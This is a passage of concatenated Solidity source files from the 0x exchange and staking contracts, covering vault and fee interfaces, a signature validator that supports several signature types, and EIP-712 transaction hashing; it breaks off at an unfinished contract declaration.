/// Note that these balances may be stale if the current epoch
/// is greater than `currentEpoch`.
/// @param currentEpoch the current epoch
/// @param currentEpochBalance balance in the current epoch.
/// @param nextEpochBalance balance in `currentEpoch+1`.
struct StoredBalance {
uint64 currentEpoch;
uint96 currentEpochBalance;
uint96 nextEpochBalance;
}
/// @dev Statuses that stake can exist in.
/// Any stake can be (re)delegated effective at the next epoch
/// Undelegated stake can be withdrawn if it is available in both the current and next epoch
enum StakeStatus {
UNDELEGATED,
DELEGATED
}
/// @dev Info used to describe a status.
/// @param status of the stake.
/// @param poolId Unique Id of pool. This is set when status=DELEGATED.
struct StakeInfo {
StakeStatus status;
bytes32 poolId;
}
/// @dev Struct to represent a fraction.
/// @param numerator of fraction.
/// @param denominator of fraction.
struct Fraction {
uint256 numerator;
uint256 denominator;
}
/// @dev Holds the metadata for a staking pool.
/// @param operator of the pool.
/// @param operatorShare Fraction of the total balance owned by the operator, in ppm.
struct Pool {
address operator;
uint32 operatorShare;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
interface IZrxVault {
/// @dev Emmitted whenever a StakingProxy is set in a vault.
event StakingProxySet(address stakingProxyAddress);
/// @dev Emitted when the Staking contract is put into Catastrophic Failure Mode
/// @param sender Address of sender (`msg.sender`)
event InCatastrophicFailureMode(address sender);
/// @dev Emitted when Zrx Tokens are deposited into the vault.
/// @param staker of Zrx Tokens.
/// @param amount of Zrx Tokens deposited.
event Deposit(
address indexed staker,
uint256 amount
);
/// @dev Emitted when Zrx Tokens are withdrawn from the vault.
/// @param staker of Zrx Tokens.
/// @param amount of Zrx Tokens withdrawn.
event Withdraw(
address indexed staker,
uint256 amount
);
/// @dev Emitted whenever the ZRX AssetProxy is set.
event ZrxProxySet(address zrxProxyAddress);
/// @dev Sets the address of the StakingProxy contract.
/// Note that only the contract staker can call this function.
/// @param _stakingProxyAddress Address of Staking proxy contract.
function setStakingProxy(address _stakingProxyAddress)
external;
/// @dev Vault enters into Catastrophic Failure Mode.
/// *** WARNING - ONCE IN CATOSTROPHIC FAILURE MODE, YOU CAN NEVER GO BACK! ***
/// Note that only the contract staker can call this function.
function enterCatastrophicFailure()
external;
/// @dev Sets the Zrx proxy.
/// Note that only the contract staker can call this.
/// Note that this can only be called when *not* in Catastrophic Failure mode.
/// @param zrxProxyAddress Address of the 0x Zrx Proxy.
function setZrxProxy(address zrxProxyAddress)
external;
/// @dev Deposit an `amount` of Zrx Tokens from `staker` into the vault.
/// Note that only the Staking contract can call this.
/// Note that this can only be called when *not* in Catastrophic Failure mode.
/// @param staker of Zrx Tokens.
/// @param amount of Zrx Tokens to deposit.
function depositFrom(address staker, uint256 amount)
external;
/// @dev Withdraw an `amount` of Zrx Tokens to `staker` from the vault.
/// Note that only the Staking contract can call this.
/// Note that this can only be called when *not* in Catastrophic Failure mode.
/// @param staker of Zrx Tokens.
/// @param amount of Zrx Tokens to withdraw.
function withdrawFrom(address staker, uint256 amount)
external;
/// @dev Withdraw ALL Zrx Tokens to `staker` from the vault.
/// Note that this can only be called when *in* Catastrophic Failure mode.
/// @param staker of Zrx Tokens.
function withdrawAllFrom(address staker)
external
returns (uint256);
/// @dev Returns the balance in Zrx Tokens of the `staker`
/// @return Balance in Zrx.
function balanceOf(address staker)
external
view
returns (uint256);
/// @dev Returns the entire balance of Zrx tokens in the vault.
function balanceOfZrxVault()
external
view
returns (uint256);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
contract IProtocolFees {
// Logs updates to the protocol fee multiplier.
event ProtocolFeeMultiplier(uint256 oldProtocolFeeMultiplier, uint256 updatedProtocolFeeMultiplier);
// Logs updates to the protocolFeeCollector address.
event ProtocolFeeCollectorAddress(address oldProtocolFeeCollector, address updatedProtocolFeeCollector);
/// @dev Allows the owner to update the protocol fee multiplier.
/// @param updatedProtocolFeeMultiplier The updated protocol fee multiplier.
function setProtocolFeeMultiplier(uint256 updatedProtocolFeeMultiplier)
external;
/// @dev Allows the owner to update the protocolFeeCollector address.
/// @param updatedProtocolFeeCollector The updated protocolFeeCollector contract address.
function setProtocolFeeCollectorAddress(address updatedProtocolFeeCollector)
external;
/// @dev Returns the protocolFeeMultiplier
function protocolFeeMultiplier()
external
view
returns (uint256);
/// @dev Returns the protocolFeeCollector address
function protocolFeeCollector()
external
view
returns (address);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/LibBytes.sol";
import "@0x/contracts-utils/contracts/src/LibEIP1271.sol";
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibEIP712ExchangeDomain.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibExchangeRichErrors.sol";
import "./interfaces/IWallet.sol";
import "./interfaces/IEIP1271Wallet.sol";
import "./interfaces/ISignatureValidator.sol";
import "./interfaces/IEIP1271Data.sol";
import "./MixinTransactions.sol";
contract MixinSignatureValidator is
LibEIP712ExchangeDomain,
LibEIP1271,
ISignatureValidator,
MixinTransactions
{
using LibBytes for bytes;
using LibOrder for LibOrder.Order;
using LibZeroExTransaction for LibZeroExTransaction.ZeroExTransaction;
// Magic bytes to be returned by `Wallet` signature type validators.
// bytes4(keccak256("isValidWalletSignature(bytes32,address,bytes)"))
bytes4 private constant LEGACY_WALLET_MAGIC_VALUE = 0xb0671381;
// Mapping of hash => signer => signed
mapping (bytes32 => mapping (address => bool)) public preSigned;
// Mapping of signer => validator => approved
mapping (address => mapping (address => bool)) public allowedValidators;
/// @dev Approves a hash on-chain.
/// After presigning a hash, the preSign signature type will become valid for that hash and signer.
/// @param hash Any 32-byte hash.
function preSign(bytes32 hash)
external
payable
refundFinalBalanceNoReentry
{
address signerAddress = _getCurrentContextAddress();
preSigned[hash][signerAddress] = true;
}
/// @dev Approves/unnapproves a Validator contract to verify signatures on signer's behalf
/// using the `Validator` signature type.
/// @param validatorAddress Address of Validator contract.
/// @param approval Approval or disapproval of Validator contract.
function setSignatureValidatorApproval(
address validatorAddress,
bool approval
)
external
payable
refundFinalBalanceNoReentry
{
address signerAddress = _getCurrentContextAddress();
allowedValidators[signerAddress][validatorAddress] = approval;
emit SignatureValidatorApproval(
signerAddress,
validatorAddress,
approval
);
}
/// @dev Verifies that a hash has been signed by the given signer.
/// @param hash Any 32-byte hash.
/// @param signerAddress Address that should have signed the given hash.
/// @param signature Proof that the hash has been signed by signer.
/// @return isValid `true` if the signature is valid for the given hash and signer.
function isValidHashSignature(
bytes32 hash,
address signerAddress,
bytes memory signature
)
public
view
returns (bool isValid)
{
SignatureType signatureType = _readValidSignatureType(
hash,
signerAddress,
signature
);
// Only hash-compatible signature types can be handled by this
// function.
if (
signatureType == SignatureType.Validator ||
signatureType == SignatureType.EIP1271Wallet
) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.INAPPROPRIATE_SIGNATURE_TYPE,
hash,
signerAddress,
signature
));
}
isValid = _validateHashSignatureTypes(
signatureType,
hash,
signerAddress,
signature
);
return isValid;
}
/// @dev Verifies that a signature for an order is valid.
/// @param order The order.
/// @param signature Proof that the order has been signed by signer.
/// @return isValid `true` if the signature is valid for the given order and signer.
function isValidOrderSignature(
LibOrder.Order memory order,
bytes memory signature
)
public
view
returns (bool isValid)
{
bytes32 orderHash = order.getTypedDataHash(EIP712_EXCHANGE_DOMAIN_HASH);
isValid = _isValidOrderWithHashSignature(
order,
orderHash,
signature
);
return isValid;
}
/// @dev Verifies that a signature for a transaction is valid.
/// @param transaction The transaction.
/// @param signature Proof that the order has been signed by signer.
/// @return isValid `true` if the signature is valid for the given transaction and signer.
function isValidTransactionSignature(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature
)
public
view
returns (bool isValid)
{
bytes32 transactionHash = transaction.getTypedDataHash(EIP712_EXCHANGE_DOMAIN_HASH);
isValid = _isValidTransactionWithHashSignature(
transaction,
transactionHash,
signature
);
return isValid;
}
/// @dev Verifies that an order, with provided order hash, has been signed
/// by the given signer.
/// @param order The order.
/// @param orderHash The hash of the order.
/// @param signature Proof that the hash has been signed by signer.
/// @return isValid True if the signature is valid for the given order and signer.
function _isValidOrderWithHashSignature(
LibOrder.Order memory order,
bytes32 orderHash,
bytes memory signature
)
internal
view
returns (bool isValid)
{
address signerAddress = order.makerAddress;
SignatureType signatureType = _readValidSignatureType(
orderHash,
signerAddress,
signature
);
if (signatureType == SignatureType.Validator) {
// The entire order is verified by a validator contract.
isValid = _validateBytesWithValidator(
_encodeEIP1271OrderWithHash(order, orderHash),
orderHash,
signerAddress,
signature
);
} else if (signatureType == SignatureType.EIP1271Wallet) {
// The entire order is verified by a wallet contract.
isValid = _validateBytesWithWallet(
_encodeEIP1271OrderWithHash(order, orderHash),
signerAddress,
signature
);
} else {
// Otherwise, it's one of the hash-only signature types.
isValid = _validateHashSignatureTypes(
signatureType,
orderHash,
signerAddress,
signature
);
}
return isValid;
}
/// @dev Verifies that a transaction, with provided order hash, has been signed
/// by the given signer.
/// @param transaction The transaction.
/// @param transactionHash The hash of the transaction.
/// @param signature Proof that the hash has been signed by signer.
/// @return isValid True if the signature is valid for the given transaction and signer.
function _isValidTransactionWithHashSignature(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes32 transactionHash,
bytes memory signature
)
internal
view
returns (bool isValid)
{
address signerAddress = transaction.signerAddress;
SignatureType signatureType = _readValidSignatureType(
transactionHash,
signerAddress,
signature
);
if (signatureType == SignatureType.Validator) {
// The entire transaction is verified by a validator contract.
isValid = _validateBytesWithValidator(
_encodeEIP1271TransactionWithHash(transaction, transactionHash),
transactionHash,
signerAddress,
signature
);
} else if (signatureType == SignatureType.EIP1271Wallet) {
// The entire transaction is verified by a wallet contract.
isValid = _validateBytesWithWallet(
_encodeEIP1271TransactionWithHash(transaction, transactionHash),
signerAddress,
signature
);
} else {
// Otherwise, it's one of the hash-only signature types.
isValid = _validateHashSignatureTypes(
signatureType,
transactionHash,
signerAddress,
signature
);
}
return isValid;
}
/// Validates a hash-only signature type
/// (anything but `Validator` and `EIP1271Wallet`).
function _validateHashSignatureTypes(
SignatureType signatureType,
bytes32 hash,
address signerAddress,
bytes memory signature
)
private
view
returns (bool isValid)
{
// Always invalid signature.
// Like Illegal, this is always implicitly available and therefore
// offered explicitly. It can be implicitly created by providing
// a correctly formatted but incorrect signature.
if (signatureType == SignatureType.Invalid) {
if (signature.length != 1) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.INVALID_LENGTH,
hash,
signerAddress,
signature
));
}
isValid = false;
// Signature using EIP712
} else if (signatureType == SignatureType.EIP712) {
if (signature.length != 66) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.INVALID_LENGTH,
hash,
signerAddress,
signature
));
}
uint8 v = uint8(signature[0]);
bytes32 r = signature.readBytes32(1);
bytes32 s = signature.readBytes32(33);
address recovered = ecrecover(
hash,
v,
r,
s
);
isValid = signerAddress == recovered;
// Signed using web3.eth_sign
} else if (signatureType == SignatureType.EthSign) {
if (signature.length != 66) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.INVALID_LENGTH,
hash,
signerAddress,
signature
));
}
uint8 v = uint8(signature[0]);
bytes32 r = signature.readBytes32(1);
bytes32 s = signature.readBytes32(33);
address recovered = ecrecover(
keccak256(abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
hash
)),
v,
r,
s
);
isValid = signerAddress == recovered;
// Signature verified by wallet contract.
} else if (signatureType == SignatureType.Wallet) {
isValid = _validateHashWithWallet(
hash,
signerAddress,
signature
);
// Otherwise, signatureType == SignatureType.PreSigned
} else {
assert(signatureType == SignatureType.PreSigned);
// Signer signed hash previously using the preSign function.
isValid = preSigned[hash][signerAddress];
}
return isValid;
}
/// @dev Reads the `SignatureType` from a signature with minimal validation.
function _readSignatureType(
bytes32 hash,
address signerAddress,
bytes memory signature
)
private
pure
returns (SignatureType)
{
if (signature.length == 0) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.INVALID_LENGTH,
hash,
signerAddress,
signature
));
}
return SignatureType(uint8(signature[signature.length - 1]));
}
/// @dev Reads the `SignatureType` from the end of a signature and validates it.
function _readValidSignatureType(
bytes32 hash,
address signerAddress,
bytes memory signature
)
private
pure
returns (SignatureType signatureType)
{
// Read the signatureType from the signature
signatureType = _readSignatureType(
hash,
signerAddress,
signature
);
// Disallow address zero because ecrecover() returns zero on failure.
if (signerAddress == address(0)) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.INVALID_SIGNER,
hash,
signerAddress,
signature
));
}
// Ensure signature is supported
if (uint8(signatureType) >= uint8(SignatureType.NSignatureTypes)) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.UNSUPPORTED,
hash,
signerAddress,
signature
));
}
// Always illegal signature.
// This is always an implicit option since a signer can create a
// signature array with invalid type or length. We may as well make
// it an explicit option. This aids testing and analysis. It is
// also the initialization value for the enum type.
if (signatureType == SignatureType.Illegal) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.ILLEGAL,
hash,
signerAddress,
signature
));
}
return signatureType;
}
/// @dev ABI encodes an order and hash with a selector to be passed into
/// an EIP1271 compliant `isValidSignature` function.
function _encodeEIP1271OrderWithHash(
LibOrder.Order memory order,
bytes32 orderHash
)
private
pure
returns (bytes memory encoded)
{
return abi.encodeWithSelector(
IEIP1271Data(address(0)).OrderWithHash.selector,
order,
orderHash
);
}
/// @dev ABI encodes a transaction and hash with a selector to be passed into
/// an EIP1271 compliant `isValidSignature` function.
function _encodeEIP1271TransactionWithHash(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes32 transactionHash
)
private
pure
returns (bytes memory encoded)
{
return abi.encodeWithSelector(
IEIP1271Data(address(0)).ZeroExTransactionWithHash.selector,
transaction,
transactionHash
);
}
/// @dev Verifies a hash and signature using logic defined by Wallet contract.
/// @param hash Any 32 byte hash.
/// @param walletAddress Address that should have signed the given hash
/// and defines its own signature verification method.
/// @param signature Proof that the hash has been signed by signer.
/// @return True if the signature is validated by the Wallet.
function _validateHashWithWallet(
bytes32 hash,
address walletAddress,
bytes memory signature
)
private
view
returns (bool)
{
// Backup length of signature
uint256 signatureLength = signature.length;
// Temporarily remove signatureType byte from end of signature
signature.writeLength(signatureLength - 1);
// Encode the call data.
bytes memory callData = abi.encodeWithSelector(
IWallet(address(0)).isValidSignature.selector,
hash,
signature
);
// Restore the original signature length
signature.writeLength(signatureLength);
// Static call the verification function.
(bool didSucceed, bytes memory returnData) = walletAddress.staticcall(callData);
// Return the validity of the signature if the call was successful
if (didSucceed && returnData.length == 32) {
return returnData.readBytes4(0) == LEGACY_WALLET_MAGIC_VALUE;
}
// Revert if the call was unsuccessful
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureWalletError(
hash,
walletAddress,
signature,
returnData
));
}
/// @dev Verifies arbitrary data and a signature via an EIP1271 Wallet
/// contract, where the wallet address is also the signer address.
/// @param data Arbitrary signed data.
/// @param walletAddress Contract that will verify the data and signature.
/// @param signature Proof that the data has been signed by signer.
/// @return isValid True if the signature is validated by the Wallet.
function _validateBytesWithWallet(
bytes memory data,
address walletAddress,
bytes memory signature
)
private
view
returns (bool isValid)
{
isValid = _staticCallEIP1271WalletWithReducedSignatureLength(
walletAddress,
data,
signature,
1 // The last byte of the signature (signatureType) is removed before making the staticcall
);
return isValid;
}
/// @dev Verifies arbitrary data and a signature via an EIP1271 contract
/// whose address is encoded in the signature.
/// @param data Arbitrary signed data.
/// @param hash The hash associated with the data.
/// @param signerAddress Address that should have signed the given hash.
/// @param signature Proof that the data has been signed by signer.
/// @return isValid True if the signature is validated by the validator contract.
function _validateBytesWithValidator(
bytes memory data,
bytes32 hash,
address signerAddress,
bytes memory signature
)
private
view
returns (bool isValid)
{
uint256 signatureLength = signature.length;
if (signatureLength < 21) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureError(
LibExchangeRichErrors.SignatureErrorCodes.INVALID_LENGTH,
hash,
signerAddress,
signature
));
}
// The validator address is appended to the signature before the signatureType.
// Read the validator address from the signature.
address validatorAddress = signature.readAddress(signatureLength - 21);
// Ensure signer has approved validator.
if (!allowedValidators[signerAddress][validatorAddress]) {
LibRichErrors.rrevert(LibExchangeRichErrors.SignatureValidatorNotApprovedError(
signerAddress,
validatorAddress
));
}
isValid = _staticCallEIP1271WalletWithReducedSignatureLength(
validatorAddress,
data,
signature,
21 // The last 21 bytes of the signature (validatorAddress + signatureType) are removed before making the staticcall
);
return isValid;
}
/// @dev Performs a staticcall to an EIP1271 compiant `isValidSignature` function and validates the output.
/// @param verifyingContractAddress Address of EIP1271Wallet or Validator contract.
/// @param data Arbitrary signed data.
/// @param signature Proof that the hash has been signed by signer. Bytes will be temporarily be popped
/// off of the signature before calling `isValidSignature`.
/// @param ignoredSignatureBytesLen The amount of bytes that will be temporarily popped off the the signature.
/// @return The validity of the signature.
function _staticCallEIP1271WalletWithReducedSignatureLength(
address verifyingContractAddress,
bytes memory data,
bytes memory signature,
uint256 ignoredSignatureBytesLen
)
private
view
returns (bool)
{
// Backup length of the signature
uint256 signatureLength = signature.length;
// Temporarily remove bytes from signature end
signature.writeLength(signatureLength - ignoredSignatureBytesLen);
bytes memory callData = abi.encodeWithSelector(
IEIP1271Wallet(address(0)).isValidSignature.selector,
data,
signature
);
// Restore original signature length
signature.writeLength(signatureLength);
// Static call the verification function
(bool didSucceed, bytes memory returnData) = verifyingContractAddress.staticcall(callData);
// Return the validity of the signature if the call was successful
if (didSucceed && returnData.length == 32) {
return returnData.readBytes4(0) == EIP1271_MAGIC_VALUE;
}
// Revert if the call was unsuccessful
LibRichErrors.rrevert(LibExchangeRichErrors.EIP1271SignatureError(
verifyingContractAddress,
data,
signature,
returnData
));
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
contract LibEIP1271 {
// Magic bytes returned by EIP1271 wallets on success.
bytes4 constant public EIP1271_MAGIC_VALUE = 0x20c13b0b;
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/LibEIP712.sol";
library LibZeroExTransaction {
using LibZeroExTransaction for ZeroExTransaction;
// Hash for the EIP712 0x transaction schema
// keccak256(abi.encodePacked(
// "ZeroExTransaction(",
// "uint256 salt,",
// "uint256 expirationTimeSeconds,",
// "uint256 gasPrice,",
// "address signerAddress,",
// "bytes data",
// ")"
// ));
bytes32 constant internal _EIP712_ZEROEX_TRANSACTION_SCHEMA_HASH = 0xec69816980a3a3ca4554410e60253953e9ff375ba4536a98adfa15cc71541508;
struct ZeroExTransaction {
uint256 salt; // Arbitrary number to ensure uniqueness of transaction hash.
uint256 expirationTimeSeconds; // Timestamp in seconds at which transaction expires.
uint256 gasPrice; // gasPrice that transaction is required to be executed with.
address signerAddress; // Address of transaction signer.
bytes data; // AbiV2 encoded calldata.
}
/// @dev Calculates the EIP712 typed data hash of a transaction with a given domain separator.
/// @param transaction 0x transaction structure.
/// @return EIP712 typed data hash of the transaction.
function getTypedDataHash(ZeroExTransaction memory transaction, bytes32 eip712ExchangeDomainHash)
internal
pure
returns (bytes32 transactionHash)
{
// Hash the transaction with the domain separator of the Exchange contract.
transactionHash = LibEIP712.hashEIP712Message(
eip712ExchangeDomainHash,
transaction.getStructHash()
);
return transactionHash;
}
/// @dev Calculates EIP712 hash of the 0x transaction struct.
/// @param transaction 0x transaction structure.
/// @return EIP712 hash of the transaction struct.
function getStructHash(ZeroExTransaction memory transaction)
internal
pure
returns (bytes32 result)
{
bytes32 schemaHash = _EIP712_ZEROEX_TRANSACTION_SCHEMA_HASH;
bytes memory data = transaction.data;
uint256 salt = transaction.salt;
uint256 expirationTimeSeconds = transaction.expirationTimeSeconds;
uint256 gasPrice = transaction.gasPrice;
address signerAddress = transaction.signerAddress;
// Assembly for more efficiently computing:
// result = keccak256(abi.encodePacked(
// schemaHash,
// salt,
// expirationTimeSeconds,
// gasPrice,
// uint256(signerAddress),
// keccak256(data)
// ));
assembly {
// Compute hash of data
let dataHash := keccak256(add(data, 32), mload(data))
// Load free memory pointer
let memPtr := mload(64)
mstore(memPtr, schemaHash) // hash of schema
mstore(add(memPtr, 32), salt) // salt
mstore(add(memPtr, 64), expirationTimeSeconds) // expirationTimeSeconds
mstore(add(memPtr, 96), gasPrice) // gasPrice
mstore(add(memPtr, 128), and(signerAddress, 0xffffffffffffffffffffffffffffffffffffffff)) // signerAddress
mstore(add(memPtr, 160), dataHash) // hash of data
// Compute hash
result := keccak256(memPtr, 192)
}
return result;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
contract IWallet {
/// @dev Validates a hash with the `Wallet` signature type.
/// @param hash Message hash that is signed.
/// @param signature Proof of signing.
/// @return magicValue `bytes4(0xb0671381)` if the signature check succeeds.
function isValidSignature(
bytes32 hash,
bytes calldata signature
)
external
view
returns (bytes4 magicValue);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
import "@0x/contracts-utils/contracts/src/LibEIP1271.sol";
contract IEIP1271Wallet is
LibEIP1271
{
/// @dev Verifies that a signature is valid.
/// @param data Arbitrary signed data.
/// @param signature Proof that data has been signed.
/// @return magicValue bytes4(0x20c13b0b) if the signature check succeeds.
function isValidSignature(
bytes calldata data,
bytes calldata signature
)
external
view
returns (bytes4 magicValue);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
contract ISignatureValidator {
// Allowed signature types.
enum SignatureType {
Illegal, // 0x00, default value
Invalid, // 0x01
EIP712, // 0x02
EthSign, // 0x03
Wallet, // 0x04
Validator, // 0x05
PreSigned, // 0x06
EIP1271Wallet, // 0x07
NSignatureTypes // 0x08, number of signature types. Always leave at end.
}
event SignatureValidatorApproval(
address indexed signerAddress, // Address that approves or disapproves a contract to verify signatures.
address indexed validatorAddress, // Address of signature validator contract.
bool isApproved // Approval or disapproval of validator contract.
);
/// @dev Approves a hash on-chain.
/// After presigning a hash, the preSign signature type will become valid for that hash and signer.
/// @param hash Any 32-byte hash.
function preSign(bytes32 hash)
external
payable;
/// @dev Approves/unnapproves a Validator contract to verify signatures on signer's behalf.
/// @param validatorAddress Address of Validator contract.
/// @param approval Approval or disapproval of Validator contract.
function setSignatureValidatorApproval(
address validatorAddress,
bool approval
)
external
payable;
/// @dev Verifies that a hash has been signed by the given signer.
/// @param hash Any 32-byte hash.
/// @param signature Proof that the hash has been signed by signer.
/// @return isValid `true` if the signature is valid for the given hash and signer.
function isValidHashSignature(
bytes32 hash,
address signerAddress,
bytes memory signature
)
public
view
returns (bool isValid);
/// @dev Verifies that a signature for an order is valid.
/// @param order The order.
/// @param signature Proof that the order has been signed by signer.
/// @return isValid true if the signature is valid for the given order and signer.
function isValidOrderSignature(
LibOrder.Order memory order,
bytes memory signature
)
public
view
returns (bool isValid);
/// @dev Verifies that a signature for a transaction is valid.
/// @param transaction The transaction.
/// @param signature Proof that the order has been signed by signer.
/// @return isValid true if the signature is valid for the given transaction and signer.
function isValidTransactionSignature(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes memory signature
)
public
view
returns (bool isValid);
/// @dev Verifies that an order, with provided order hash, has been signed
/// by the given signer.
/// @param order The order.
/// @param orderHash The hash of the order.
/// @param signature Proof that the hash has been signed by signer.
/// @return isValid True if the signature is valid for the given order and signer.
function _isValidOrderWithHashSignature(
LibOrder.Order memory order,
bytes32 orderHash,
bytes memory signature
)
internal
view
returns (bool isValid);
/// @dev Verifies that a transaction, with provided order hash, has been signed
/// by the given signer.
/// @param transaction The transaction.
/// @param transactionHash The hash of the transaction.
/// @param signature Proof that the hash has been signed by signer.
/// @return isValid True if the signature is valid for the given transaction and signer.
function _isValidTransactionWithHashSignature(
LibZeroExTransaction.ZeroExTransaction memory transaction,
bytes32 transactionHash,
bytes memory signature
)
internal
view
returns (bool isValid);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
// solhint-disable
contract IEIP1271Data {
/// @dev This function's selector is used when ABI encoding the order
/// and hash into a byte array before calling `isValidSignature`.
/// This function serves no other purpose.
function OrderWithHash(
LibOrder.Order calldata order,
bytes32 orderHash
)
external
pure;
/// @dev This function's selector is used when ABI encoding the transaction
/// and hash into a byte array before calling `isValidSignature`.
/// This function serves no other purpose.
function ZeroExTransactionWithHash(
LibZeroExTransaction.ZeroExTransaction calldata transaction,
bytes32 transactionHash
)
external
pure;
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-exchange-libs/contracts/src/LibZeroExTransaction.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibEIP712ExchangeDomain.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibExchangeRichErrors.sol";
import "@0x/contracts-utils/contracts/src/LibRichErrors.sol";
import "@0x/contracts-utils/contracts/src/Refundable.sol";
import "./interfaces/ITransactions.sol";
import "./interfaces/ISignatureValidator.sol";
contract MixinTransactions is
